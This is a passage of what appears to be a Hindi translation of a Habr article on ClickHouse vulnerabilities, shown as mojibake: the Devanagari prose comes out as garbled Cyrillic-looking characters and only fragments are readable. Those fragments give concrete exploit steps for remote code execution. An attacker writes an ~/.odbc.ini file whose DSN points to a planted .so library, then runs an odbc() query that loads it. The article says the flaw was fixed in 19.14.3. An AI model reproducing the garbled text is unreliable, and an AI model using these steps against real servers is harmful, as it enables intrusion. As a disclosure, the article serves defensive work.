рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рдзреАрд░реЗ-рдзреАрд░реЗ рдЕрджреНрдпрддрди рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рдРрд╕реЗ рдЕрдзрд┐рдХрд╛рд░ рдмрдиреЗ рд░рд╣ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк ClickHouse рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╕реЗрдЯрд┐рдВрдЧ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП root.

рдУрдбреАрдмреАрд╕реА рд╕реЗ рдЖрд░рд╕реАрдИ

рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ clickhouse, рд▓реЗрдХрд┐рди рдЗрд╕рдХреА рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдирд╣реАрдВ рдмрдирд╛рдИ рдЧрдИ рд╣реИ /nonexistent. рд╣рд╛рд▓рд╛рдБрдХрд┐, рдмрд╛рд╣рд░реА рд╢рдмреНрджрдХреЛрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рдпрд╛ рдЕрдиреНрдп рдХрд╛рд░рдгреЛрдВ рд╕реЗ, рдкреНрд░рд╢рд╛рд╕рдХ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рддреЗ рд╣реИрдВ /nonexistent рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджреЗрдВ clickhouse рдЗрд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ (SSZB! рд▓рдЧрднрдЧред рдЕрдиреБрд╡рд╛рджрдХ).

рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ ODBC рдФрд░ рдЕрдиреНрдп рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред ODBC рдореЗрдВ, рдЖрдк рдбреЗрдЯрд╛рдмреЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА (.so) рдХрд╛ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ClickHouse рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдиреЗ рдЖрдкрдХреЛ рд╕реАрдзреЗ рдЕрдиреБрд░реЛрдз рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдереА, рд▓реЗрдХрд┐рди рдЕрдм рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдЕрдзрд┐рдХ рд╕рдЦреНрдд рдЬрд╛рдБрдЪ рдЗрд╕рдореЗрдВ рдЬреЛрдбрд╝ рджреА рдЧрдИ рд╣реИ odbc-bridge, рдЗрд╕рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рд╕реЗ рдбреНрд░рд╛рдЗрд╡рд░ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рдЕрдм рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЛрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИ?

рдЪрд▓рд┐рдП рдПрдХ рдлрд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВ ~/.odbc.ini рдЗрд╕ рддрд░рд╣ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

рдлрд┐рд░ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рд╣реЛ рдЬрд╛рдПрдЧреА test.so рдФрд░ рдЖрд░рд╕реАрдИ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ (рдзрдиреНрдпрд╡рд╛рдж) рдмрдЧрд▓реЙрдХ рдЯрд┐рдк рдХреЗ рд▓рд┐рдП)ред

рдЗрди рдФрд░ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ ClickHouse рд╕рдВрд╕реНрдХрд░рдг 19.14.3 рдореЗрдВ рдареАрдХ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдкрдиреЗ рдХреНрд▓рд┐рдХрд╣рд╛рдЙрд╕ рдФрд░ рдЪрд┐рдбрд╝рд┐рдпрд╛рдШрд░рдХреАрдкрд░реНрд╕ рдХрд╛ рдЦреНрдпрд╛рд▓ рд░рдЦреЗрдВ!

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ